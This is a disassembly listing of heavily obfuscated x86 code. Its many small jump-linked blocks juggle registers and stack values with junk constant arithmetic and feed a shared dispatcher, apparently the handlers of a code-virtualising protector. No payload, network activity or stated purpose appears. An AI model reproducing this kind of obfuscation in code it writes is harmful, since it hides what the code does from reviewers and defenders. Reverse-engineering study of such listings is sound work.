; ---------------------------------------------------------------------------


loc_576C45:				; CODE XREF: ud2_____:00572A00j
		mov	esi, 32A54E8Bh
		add	ebx, esi
		pop	esi
		add	ebx, edx
		push	ecx
		mov	ecx, 32A54E8Bh
		sub	ebx, ecx
		pop	ecx
		pop	edx
		jmp	loc_577653
; ---------------------------------------------------------------------------


loc_576C5E:				; CODE XREF: ud2_____:00577D99j
		neg	dl
		push	bx
		mov	bl, 1
		xor	dl, bl
		pop	bx
		sub	al, dl
		jmp	loc_57C72A
; ---------------------------------------------------------------------------


loc_576C6F:				; CODE XREF: ud2_____:0057263Aj
		push	4716h
		mov	[esp], esi
		mov	esi, 7ABF448Ah
		add	esi, 171AD972h
		add	ebx, 35532579h
		add	ebx, esi
		sub	ebx, 35532579h
		pop	esi
		jmp	loc_578765
; ---------------------------------------------------------------------------


loc_576C96:				; CODE XREF: ud2_____:0057D19Fj
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_57CA02
; ---------------------------------------------------------------------------


loc_576CA5:				; CODE XREF: ud2_____:005748CCj
		mov	edi, 2
		push	ebx
		mov	ebx, 71A01CF7h
		jmp	loc_572F04
; ---------------------------------------------------------------------------


loc_576CB5:				; CODE XREF: ud2_____:00579D62j
		add	esi, 55D5069Fh
		add	esi, edi
		sub	esi, 55D5069Fh
		pop	edi
		push	ebp
		mov	ebp, 9362F65h
		jmp	loc_57B529
; ---------------------------------------------------------------------------


loc_576CCF:				; CODE XREF: ud2_____:0057D34Ej
		mov	esi, 4
		add	edx, esi
		jmp	loc_579F3B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_579E8F
; ---------------------------------------------------------------------------


loc_576CE5:				; CODE XREF: ud2_____:0057594Aj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5E0367B3h
		neg	ebx
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_575CCD
; ---------------------------------------------------------------------------


loc_576D0C:				; CODE XREF: ud2_____:00576A74j
		push	edi
		jmp	loc_5738B4
; ---------------------------------------------------------------------------


loc_576D12:				; CODE XREF: ud2_____:0057869Aj
		pop	esi
		jmp	loc_57840B
; ---------------------------------------------------------------------------


loc_576D18:				; CODE XREF: ud2_____:00574770j
		mov	[esp], ecx
		push	ebx
		mov	ebx, 0
		mov	ecx, ebx
		pop	ebx
		add	ecx, edx
		push	ebx
		jmp	loc_57C0B7
; ---------------------------------------------------------------------------


loc_576D2C:				; CODE XREF: ud2_____:0057D46Cj
		push	esp
		jmp	loc_57A33B
; ---------------------------------------------------------------------------


loc_576D32:				; CODE XREF: ud2_____:005753E1j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_579AB8
; ---------------------------------------------------------------------------


loc_576D5B:				; CODE XREF: ud2_____:005758F0j
		sub	edx, 77D7656Ah
		jmp	loc_579A29
; ---------------------------------------------------------------------------


loc_576D66:				; CODE XREF: ud2_____:00574389j
		mov	ebx, ebp
		pop	ebp
		pop	edi
		jmp	loc_571DE8
; ---------------------------------------------------------------------------


loc_576D6F:				; CODE XREF: ud2_____:0057D14Fj
		push	eax
		jmp	loc_57DA83
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57C191
; ---------------------------------------------------------------------------


loc_576D7E:				; CODE XREF: ud2_____:005769D9j
		xor	ecx, 7EFF3FBAh
		add	eax, ecx
		pop	ecx
		push	esi
		push	ebp
		mov	ebp, 6B3E188Ch
		mov	esi, 6B3E1888h
		xor	esi, ebp
		pop	ebp
		add	eax, esi
		jmp	loc_576F8E
; ---------------------------------------------------------------------------


loc_576D9D:				; CODE XREF: ud2_____:0057BC9Aj
		sub	ecx, 624E440Ah
		jmp	loc_57D01F
; ---------------------------------------------------------------------------


loc_576DA8:				; CODE XREF: ud2_____:0057B50Ej
		push	7871h
		mov	[esp], ecx
		mov	cx, 6F92h
		push	esi
		mov	si, 35E9h
		sub	si, 0E0ADh
		or	cx, si
		jmp	loc_571DFF
; ---------------------------------------------------------------------------


loc_576DC6:				; CODE XREF: ud2_____:005792EBj
		mov	ebp, 4E681A7Eh
		jmp	loc_576B8B
; ---------------------------------------------------------------------------


loc_576DD0:				; CODE XREF: ud2_____:0057AFBEj
		shr	ebp, 7
		or	ebp, 6CA2C17h
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	3D520579h
		pop	edi
		and	edi, 1FA14404h
		dec	edi
		jmp	loc_576423
; ---------------------------------------------------------------------------


loc_576DF2:				; CODE XREF: ud2_____:0057A12Ej
		sub	ch, bl
		jmp	loc_57281B
; ---------------------------------------------------------------------------


loc_576DF9:				; CODE XREF: ud2_____:00572DF6j
		or	edx, 13861495h
		jmp	loc_576E55
; ---------------------------------------------------------------------------


loc_576E04:				; CODE XREF: ud2_____:00577F9Bj
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_5727B5
		push	8C861FAh
		pop	edx
		push	4DABh
		mov	[esp], ecx
		jmp	loc_57A7E1
; ---------------------------------------------------------------------------


loc_576E25:				; CODE XREF: ud2_____:0057C57Dj
		neg	dl
		neg	dl
		jmp	loc_577D93
; ---------------------------------------------------------------------------


loc_576E2E:				; CODE XREF: ud2_____:0057336Aj
		add	eax, 4
		jmp	loc_578816
; ---------------------------------------------------------------------------


loc_576E38:				; CODE XREF: ud2_____:005790BAj
		push	36BEh
		mov	[esp], edx
		mov	dh, 6Eh
		add	al, dh
		pop	edx
		sub	al, bl
		push	edx
		push	ecx
		jmp	loc_578517
; ---------------------------------------------------------------------------


loc_576E4E:				; CODE XREF: ud2_____:00574B45j
		pop	esi
		push	eax
		jmp	loc_57405A
; ---------------------------------------------------------------------------


loc_576E55:				; CODE XREF: ud2_____:00576DFFj
		dec	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_579AE3
; ---------------------------------------------------------------------------


loc_576E64:				; CODE XREF: ud2_____:0057BD74j
		xor	ebx, [esp]
		mov	esp, [esp]
		idiv	cx
		jmp	loc_573BAE
; ---------------------------------------------------------------------------


loc_576E72:				; CODE XREF: ud2_____:0057746Aj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_57B7D3
; ---------------------------------------------------------------------------


loc_576E7F:				; CODE XREF: ud2_____:0057739Dj
		mov	[esp], ebx
		push	ecx
		jmp	loc_575AE3
; ---------------------------------------------------------------------------


loc_576E88:				; CODE XREF: ud2_____:005738C0j
		push	edx
		mov	edx, 3A510AB3h
		shl	edx, 3
		or	edx, 3171419Fh
		push	ecx
		mov	ecx, 88177525h
		xor	edx, ecx
		pop	ecx
		and	edi, edx
		pop	edx
		shl	edi, 8
		add	edi, 0F0965DC6h
		xor	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5798CD
; ---------------------------------------------------------------------------


loc_576EBA:				; CODE XREF: ud2_____:00574610j
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		xor	dword ptr [esp], 473F6076h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 473F6076h
		pop	ecx
		jmp	loc_572DE7
; ---------------------------------------------------------------------------


loc_576EE5:				; CODE XREF: ud2_____:00574D1Aj
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		push	4
		pop	ecx
		add	ebx, ecx
		pop	ecx
		jmp	loc_573349
; ---------------------------------------------------------------------------


loc_576EF7:				; CODE XREF: ud2_____:0057A793j
		push	dword ptr [esp]
		jmp	loc_57B9FA
; ---------------------------------------------------------------------------
		lodsb
		push	small 33D7h
		mov	[esp], cx
		mov	cl, 4Dh
		push	edx
		jmp	loc_576F22
; ---------------------------------------------------------------------------


loc_576F10:				; CODE XREF: ud2_____:00575E7Aj
		mov	bh, al
		pop	ax
		mov	ah, bh
		jmp	loc_575E0C
; ---------------------------------------------------------------------------


loc_576F1B:				; CODE XREF: ud2_____:0057729Aj
		neg	ebx
		jmp	loc_577941
; ---------------------------------------------------------------------------


loc_576F22:				; CODE XREF: ud2_____:00576F0Bj
		mov	dh, 38h
		and	dh, 0F4h
		neg	dh
		shl	dh, 1
		jmp	loc_57B870
; ---------------------------------------------------------------------------


loc_576F30:				; CODE XREF: ud2_____:00576588j
		pop	esi
		jmp	loc_57A3C4
; ---------------------------------------------------------------------------


loc_576F36:				; CODE XREF: ud2_____:00573A38j
		pop	ax
		add	al, 0DDh
		jmp	loc_576B54
; ---------------------------------------------------------------------------


loc_576F3F:				; CODE XREF: ud2_____:00572297j
		and	al, dh
		pop	edx
		or	al, 0A4h
		jmp	loc_574FC3
; ---------------------------------------------------------------------------


loc_576F49:				; CODE XREF: ud2_____:0057785Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_577E6E
; ---------------------------------------------------------------------------


loc_576F65:				; CODE XREF: ud2_____:00574904j
		pop	ecx
		jmp	loc_577345
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 3AD82954h
		push	ecx
		mov	ecx, 715B149Ch
		dec	ecx
		shr	ecx, 3
		add	ecx, 0FE07B49h
		xor	ecx, 3ABF91C3h
		add	eax, ecx
		jmp	loc_572CAD
; ---------------------------------------------------------------------------


loc_576F8E:				; CODE XREF: ud2_____:00576D98j
		pop	esi
		jmp	loc_5798A1
; ---------------------------------------------------------------------------


loc_576F94:				; CODE XREF: ud2_____:005778E7j
		push	eax
		push	esi
		push	7AF5339Fh
		jmp	loc_57A7A3
; ---------------------------------------------------------------------------


loc_576FA0:				; CODE XREF: ud2_____:00576ACBj
		pop	esi
		jmp	loc_578158
; ---------------------------------------------------------------------------


loc_576FA6:				; CODE XREF: ud2_____:0057A509j
		push	eax
		mov	eax, 604269C0h
		jmp	loc_575AEC
; ---------------------------------------------------------------------------


loc_576FB1:				; CODE XREF: ud2_____:00575BD6j
		mov	esi, eax
		pop	eax
		jmp	loc_571C7F
; ---------------------------------------------------------------------------


loc_576FB9:				; CODE XREF: ud2_____:00573032j
		sub	edx, 3374536Eh
		jmp	loc_577BAE
; ---------------------------------------------------------------------------


loc_576FC4:				; CODE XREF: ud2_____:0057625Aj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 678607AAh
		add	eax, edx
		jmp	loc_571B64
; ---------------------------------------------------------------------------


loc_576FDE:				; CODE XREF: ud2_____:0057D553j
		xor	esi, 2179E555h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_579883
; ---------------------------------------------------------------------------


loc_576FF1:				; CODE XREF: ud2_____:00578650j
		mov	bl, 0B6h
		xor	bl, ah
		jmp	loc_57C21A
; ---------------------------------------------------------------------------


loc_576FFA:				; CODE XREF: ud2_____:0057BC74j
		shr	edx, 3
		add	edx, 9C2992E1h
		jmp	loc_57D8F7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_57396C
; ---------------------------------------------------------------------------


loc_577010:				; CODE XREF: ud2_____:00573317j
		sub	al, 78h
		push	edx
		mov	dl, 2Ah
		add	al, dl
		push	dword ptr [esp]
		jmp	loc_578B4D
; ---------------------------------------------------------------------------


loc_57701F:				; CODE XREF: ud2_____:00577574j
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_577C89
; ---------------------------------------------------------------------------


loc_57702C:				; CODE XREF: ud2_____:0057B061j
		add	al, dh
		add	al, 0EEh
		pop	edx
		push	cx
		mov	ch, 59h
		jmp	loc_578BA4
; ---------------------------------------------------------------------------


loc_57703A:				; CODE XREF: ud2_____:0057C74Bj
		mov	esi, 4
		jmp	loc_57AC88
; ---------------------------------------------------------------------------


loc_577044:				; CODE XREF: ud2_____:005777D2j
		pop	small word ptr [edi+eax*4]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57704D:				; CODE XREF: ud2_____:005785E0j
		push	ecx
		mov	cl, al
		jmp	loc_573579
; ---------------------------------------------------------------------------


loc_577055:				; CODE XREF: ud2_____:0057CED4j
		push	eax
		push	ebp
		push	3DE029E9h
		pop	ebp
		jmp	loc_575A4A
; ---------------------------------------------------------------------------


loc_577062:				; CODE XREF: ud2_____:00573776j
		and	ecx, 1B6B3741h
		jmp	loc_57C852
; ---------------------------------------------------------------------------


loc_57706D:				; CODE XREF: ud2_____:00574846j
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_574EBE
; ---------------------------------------------------------------------------


loc_57707A:				; CODE XREF: ud2_____:005723EEj
		pop	ebx
		sub	edi, 2558D3F7h
		and	eax, edi
		pop	edi
		jmp	loc_572774
; ---------------------------------------------------------------------------


loc_577089:				; CODE XREF: ud2_____:0057B46Fj
		mov	ebx, 9232940h
		push	eax
		push	7DF76E18h
		pop	eax
		or	eax, 2DE7743Dh
		xor	eax, 494046B5h
		shl	eax, 6
		push	esi
		mov	esi, 5FFF0394h
		neg	esi
		sub	esi, 0C4EE07ABh
		xor	eax, esi
		pop	esi
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5751EA
; ---------------------------------------------------------------------------


loc_5770C4:				; CODE XREF: ud2_____:0057B4E2j
		add	ebp, 4
		sub	ebp, 2
		jmp	loc_57AEBB
; ---------------------------------------------------------------------------


loc_5770D2:				; CODE XREF: ud2_____:00579C8Dj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_57CDAB
; ---------------------------------------------------------------------------


loc_5770DF:				; CODE XREF: ud2_____:0057968Cj
		push	1288h
		mov	[esp], ebx
		mov	bl, al
		push	edx
		mov	dh, bl
		mov	ch, dh
		pop	edx
		pop	ebx
		jmp	loc_5786C6
; ---------------------------------------------------------------------------


loc_5770F5:				; CODE XREF: ud2_____:00571F41j
		mov	[esp], eax
		jmp	loc_57966A
; ---------------------------------------------------------------------------


loc_5770FD:				; CODE XREF: ud2_____:0057B52Fj
		add	ebp, 0B6458E6h
		xor	ebp, 1FE289C9h
		push	edi
		mov	edi, 36EA4225h
		not	edi
		add	edi, 30937158h
		xor	edi, 7DC0B3Eh
		xor	edi, 0E7B94F09h
		or	ebp, edi
		pop	edi
		jmp	loc_57A6D5
; ---------------------------------------------------------------------------


loc_57712B:				; CODE XREF: ud2_____:0057AF97j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 514503D1h
		not	ebp
		push	ecx
		jmp	loc_5722E9
; ---------------------------------------------------------------------------


loc_577141:				; CODE XREF: ud2_____:005765B3j
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_57A012
; ---------------------------------------------------------------------------


loc_577172:				; CODE XREF: ud2_____:0057904Bj
		mov	[esp], ebp
		jmp	loc_577B29
; ---------------------------------------------------------------------------


loc_57717A:				; CODE XREF: ud2_____:005726F3j
		xor	[esp], eax
		jmp	loc_57ACE3
; ---------------------------------------------------------------------------


loc_577182:				; CODE XREF: ud2_____:0057418Cj
		add	ebx, 2
		jmp	loc_577B91
; ---------------------------------------------------------------------------


loc_57718D:				; CODE XREF: ud2_____:00575238j
		xor	ebp, 0CB90197h
		not	ebp
		not	ebp
		sub	ebp, 0CABBED09h
		add	ecx, ebp
		pop	ebp
		pop	edi
		sub	ecx, 1B9E2CF2h
		push	eax
		mov	eax, ecx
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebx
		jmp	loc_5788B3
; ---------------------------------------------------------------------------


loc_5771C1:				; CODE XREF: ud2_____:0057793Cj
		add	esp, 4
		jmp	loc_572467
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 2D3DECh
		push	9B9h
		mov	[esp], edi
		mov	edi, 345C20F8h
		push	0
		sub	[esp], edi
		pop	edi
		shl	edi, 5
		jmp	loc_579EFF
; ---------------------------------------------------------------------------


loc_5771FC:				; CODE XREF: ud2_____:00577340j
		shr	edx, 1
		push	eax
		mov	eax, 4B9F281Bh
		not	eax
		not	eax
		or	eax, 46A5083Ch
		sub	eax, 9DA9CBFh
		sub	edx, eax
		jmp	loc_573793
; ---------------------------------------------------------------------------


loc_577219:				; CODE XREF: ud2_____:0057577Bj
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 22EC2182h
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	1ADBh
		mov	[esp], edx
		push	6B27h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5769AF
; ---------------------------------------------------------------------------


loc_577267:				; CODE XREF: ud2_____:0057BAAAj
		pop	ecx
		add	edx, 44B85DDEh
		add	edx, edi
		sub	edx, 44B85DDEh
		pop	edi
		sub	esp, 4
		jmp	loc_57A53A
; ---------------------------------------------------------------------------


loc_577282:				; CODE XREF: ud2_____:00572D69j
		and	esi, 54B0D8Eh
		add	esi, 1
		or	esi, 4E4B322Bh
		add	esi, 4A90332h
		and	ebx, esi
		pop	esi
		jmp	loc_576F1B
; ---------------------------------------------------------------------------


loc_57729F:				; CODE XREF: ud2_____:0057508Ej
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		jmp	loc_57C924
; ---------------------------------------------------------------------------


loc_5772B6:				; CODE XREF: ud2_____:0057AFD2j
		push	esp
		jmp	loc_577442
; ---------------------------------------------------------------------------


loc_5772BC:				; CODE XREF: ud2_____:00572848j
		sub	ebp, 1658085Ch
		pop	ecx
		push	ecx
		mov	ecx, 4
		jmp	loc_574681
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3Fh
		mov	[esp], ebx
		push	esp
		jmp	loc_578D34
; ---------------------------------------------------------------------------


loc_5772E0:				; CODE XREF: ud2_____:0057C935j
		sub	ebx, 1BD658EAh
		jmp	loc_57D4C7
; ---------------------------------------------------------------------------


loc_5772EB:				; CODE XREF: ud2_____:00573C48j
		pop	dword ptr [esp]
		jmp	loc_579A70
; ---------------------------------------------------------------------------


loc_5772F3:				; CODE XREF: ud2_____:0057D4C2j
		mov	ecx, [esp]
		jmp	loc_57BA3B
; ---------------------------------------------------------------------------


loc_5772FB:				; CODE XREF: ud2_____:00574AC9j
		sub	al, cl
		pop	ecx
		jmp	loc_574DAE
; ---------------------------------------------------------------------------


loc_577303:				; CODE XREF: ud2_____:00573E91j
		push	ecx
		jmp	loc_57B4A1
; ---------------------------------------------------------------------------


loc_577309:				; CODE XREF: ud2_____:00573104j
		idiv	ecx
		push	43D5h
		jmp	loc_57B0DF
; ---------------------------------------------------------------------------


loc_577315:				; CODE XREF: ud2_____:00578153j
		push	edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		push	edi
		mov	edi, 11024E49h
		or	edi, 646C7DB0h
		not	edi
		xor	edi, 616363E6h
		jmp	loc_57841C
; ---------------------------------------------------------------------------


loc_577337:				; CODE XREF: ud2_____:00575A0Fj
		pop	esp
		jmp	loc_57A307
; ---------------------------------------------------------------------------


loc_57733D:				; CODE XREF: ud2_____:0057C32Dj
		sub	edx, 1
		jmp	loc_5771FC
; ---------------------------------------------------------------------------


loc_577345:				; CODE XREF: ud2_____:00576F66j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_578D02
; ---------------------------------------------------------------------------


loc_577356:				; CODE XREF: ud2_____:0057781Bj
		add	eax, 96A0429h
		jmp	loc_57621A
; ---------------------------------------------------------------------------


loc_577360:				; CODE XREF: ud2_____:0057C97Ej
		sub	ecx, 9A643C42h
		xor	edx, ecx
		jmp	loc_57930B
; ---------------------------------------------------------------------------


loc_57736D:				; CODE XREF: ud2_____:005744E5j
		pop	edi
		xchg	esi, [esp]
		jmp	loc_57764D
; ---------------------------------------------------------------------------


loc_577376:				; CODE XREF: ud2_____:00579A5Bj
		pop	edx
		push	cx
		mov	ch, 72h
		and	al, ch
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_57C003
; ---------------------------------------------------------------------------


loc_577389:				; CODE XREF: ud2_____:00574584j
		shl	esi, 4
		jmp	loc_57302C
; ---------------------------------------------------------------------------


loc_577391:				; CODE XREF: ud2_____:0057332Cj
		add	edx, ecx
		jmp	loc_57AC91
; ---------------------------------------------------------------------------


loc_577398:				; CODE XREF: ud2_____:0057C7F1j
		push	6C58h
		jmp	loc_576E7F
; ---------------------------------------------------------------------------


loc_5773A2:				; CODE XREF: ud2_____:0057D034j
		mov	eax, 7866101Dh
		sub	edi, eax
		jmp	loc_5784BC
; ---------------------------------------------------------------------------


loc_5773AE:				; CODE XREF: ud2_____:0057B9F5j
		shl	ah, 8
		sub	ah, 51h
		not	ah
		inc	ah
		jmp	loc_5766C1
; ---------------------------------------------------------------------------


loc_5773BD:				; CODE XREF: ud2_____:005782DCj
		pop	ebx
		xor	ecx, edi
		pop	edi
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_57A973
; ---------------------------------------------------------------------------


loc_5773CB:				; CODE XREF: ud2_____:005760B5j
		add	ecx, 1FBE1BCEh
		mov	edx, ecx
		pop	ecx
		sub	[esp+4], edx
		jmp	loc_57B6C3
; ---------------------------------------------------------------------------


loc_5773DD:				; CODE XREF: ud2_____:0057A2E4j
		xchg	esi, [esp]
		jmp	loc_577ABB
; ---------------------------------------------------------------------------


loc_5773E5:				; CODE XREF: ud2_____:005727DBj
		pop	esp
		jmp	loc_57AC00
; ---------------------------------------------------------------------------


loc_5773EB:				; CODE XREF: ud2_____:0057D06Aj
		neg	eax
		inc	eax
		sub	eax, 0B287C461h
		jmp	loc_579459
; ---------------------------------------------------------------------------


loc_5773F8:				; CODE XREF: ud2_____:0057657Dj
		sub	al, dh
		jmp	loc_572AA2
; ---------------------------------------------------------------------------


loc_5773FF:				; CODE XREF: ud2_____:00573C33j
		sub	ecx, 0DE2F5BF5h
		jmp	loc_57D0DA
; ---------------------------------------------------------------------------


loc_57740A:				; CODE XREF: ud2_____:0057D9A2j
		xor	ebx, 57D41CBBh
		xor	esi, ebx
		pop	ebx
		sub	ecx, esi
		pop	esi
		add	ecx, ebx
		add	ecx, 47541B92h
		jmp	loc_574EA7
; ---------------------------------------------------------------------------


loc_577423:				; CODE XREF: ud2_____:00576BEDj
		sub	[esp], al
		mov	al, [esp]
		jmp	loc_571AC7
; ---------------------------------------------------------------------------


loc_57742E:				; CODE XREF: ud2_____:0057D71Ej
		xor	ebx, 0F5A0F266h
		mov	ecx, ebx
		jmp	loc_57A42C
; ---------------------------------------------------------------------------


loc_57743B:				; CODE XREF: ud2_____:0057CFD2j
		pop	ebx
		push	ecx
		jmp	loc_579938
; ---------------------------------------------------------------------------


loc_577442:				; CODE XREF: ud2_____:005772B7j
		pop	dword ptr [esp]
		jmp	loc_57A7D4
; ---------------------------------------------------------------------------


loc_57744A:				; CODE XREF: ud2_____:0057C26Cj
		add	edx, 4
		jmp	loc_571B8E
; ---------------------------------------------------------------------------


loc_577455:				; CODE XREF: ud2_____:00572C53j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_579E7C
; ---------------------------------------------------------------------------


loc_577461:				; CODE XREF: ud2_____:00576831j
		add	edx, 4
		jmp	loc_57CE59
; ---------------------------------------------------------------------------


loc_577469:				; CODE XREF: ud2_____:0057C71Bj
		push	edi
		jmp	loc_576E72
; ---------------------------------------------------------------------------


loc_57746F:				; CODE XREF: ud2_____:0057CCC6j
		add	esp, 4
		mov	edi, eax
		jmp	loc_571FE0
; ---------------------------------------------------------------------------


loc_577479:				; CODE XREF: ud2_____:0057B83Dj
		pop	eax
		neg	edi
		add	edi, 1FE03750h
		xor	edi, 578A2702h
		xor	edi, 6A546289h
		jmp	loc_57A51A
; ---------------------------------------------------------------------------


loc_577493:				; CODE XREF: ud2_____:00572FA0j
		mov	bl, 65h
		shr	bl, 6
		sub	bl, 0FFh
		dec	bl
		not	bl
		neg	bl
		add	bl, 98h
		add	ch, bl
		jmp	loc_573620
; ---------------------------------------------------------------------------


loc_5774AB:				; CODE XREF: ud2_____:00574E6Fj
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_579591
; ---------------------------------------------------------------------------


loc_5774B7:				; CODE XREF: ud2_____:005747B2j
		mov	[esp], eax
		push	edi
		jmp	loc_571F21
; ---------------------------------------------------------------------------


loc_5774C0:				; CODE XREF: ud2_____:00579136j
		sub	cl, 0EFh
		sub	al, cl
		pop	ecx
		add	bl, al
		mov	eax, [esp]
		add	esp, 4
		mov	dh, bl
		jmp	loc_573C16
; ---------------------------------------------------------------------------


loc_5774D5:				; CODE XREF: ud2_____:0057944Cj
		add	ebp, 8C14C5E6h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	eax
		jmp	loc_572013
; ---------------------------------------------------------------------------


loc_5774E9:				; CODE XREF: ud2_____:00578BECj
		pop	ebx
		add	cx, 0E8BCh
		add	bx, cx
		pop	ecx
		add	bx, 5F19h
		sub	bx, ax
		sub	bx, 5F19h
		push	si
		mov	si, 399h
		sub	bx, si
		jmp	loc_57A3F8
; ---------------------------------------------------------------------------


loc_57750E:				; CODE XREF: ud2_____:0057AC97j
		add	edx, 5A633396h
		jmp	loc_57530D
; ---------------------------------------------------------------------------


loc_577519:				; CODE XREF: ud2_____:00576C05j
		add	eax, 3E3C4BCEh
		add	eax, edx
		sub	eax, 3E3C4BCEh
		add	eax, 549C6934h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_578332
; ---------------------------------------------------------------------------


loc_577538:				; CODE XREF: ud2_____:00574E1Aj
		mov	ebx, 6ECB611Ah
		shr	ebx, 6
		shl	ebx, 2
		jmp	loc_575B5F
; ---------------------------------------------------------------------------


loc_577548:				; CODE XREF: ud2_____:00578A26j
		sub	bl, 0DDh
		push	ax
		mov	ah, 86h
		sub	bl, 8Eh
		add	bl, ah
		jmp	loc_57ADBE
; ---------------------------------------------------------------------------


loc_577559:				; CODE XREF: ud2_____:005785FCj
		sub	esp, 4
		jmp	loc_573563
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 2
		jmp	loc_57701F
; ---------------------------------------------------------------------------


loc_577579:				; CODE XREF: ud2_____:0057B3B9j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57757E:				; CODE XREF: ud2_____:00571DA7j
		sub	edx, 54F2F89h
		jmp	loc_5727F1
; ---------------------------------------------------------------------------


loc_577589:				; CODE XREF: ud2_____:00573A4Aj
		add	esp, 4
		jmp	loc_574EB4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	52E5h
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_5788F9
; ---------------------------------------------------------------------------


loc_5775AA:				; CODE XREF: ud2_____:0057A4FEj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_57215B
; ---------------------------------------------------------------------------


loc_5775BF:				; CODE XREF: ud2_____:00576077j
		mov	[esp], edi
		push	ecx
		jmp	loc_57C085
; ---------------------------------------------------------------------------


loc_5775C8:				; CODE XREF: ud2_____:00578772j
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 23BC126Dh
		or	edx, 1D687445h
		sub	edx, 3FFC7669h
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 15F1AE53h
		sub	esp, 4
		mov	[esp], esi
		push	6FFA1E8Fh
		pop	esi
		push	ebx
		mov	ebx, 0C4432C7h
		add	eax, ebx
		pop	ebx
		sub	eax, 249F6CF6h
		add	eax, esi
		add	eax, 249F6CF6h
		jmp	loc_572860
; ---------------------------------------------------------------------------


loc_577630:				; CODE XREF: ud2_____:00576064j
		pop	ecx
		push	eax
		push	42A5h
		jmp	loc_5793E8
; ---------------------------------------------------------------------------


loc_57763C:				; CODE XREF: ud2_____:0057A5C4j
		add	eax, 75B530ECh
		sub	eax, esi
		sub	eax, 75B530ECh
		jmp	loc_57374B
; ---------------------------------------------------------------------------


loc_57764D:				; CODE XREF: ud2_____:00577371j
		pop	esp
		jmp	loc_57CCCB
; ---------------------------------------------------------------------------


loc_577653:				; CODE XREF: ud2_____:00576C59j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_577667:				; CODE XREF: ud2_____:00577F37j
		pop	edx
		jmp	loc_57A9C4
; ---------------------------------------------------------------------------


loc_57766D:				; CODE XREF: ud2_____:00572CE9j
		xchg	esi, [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


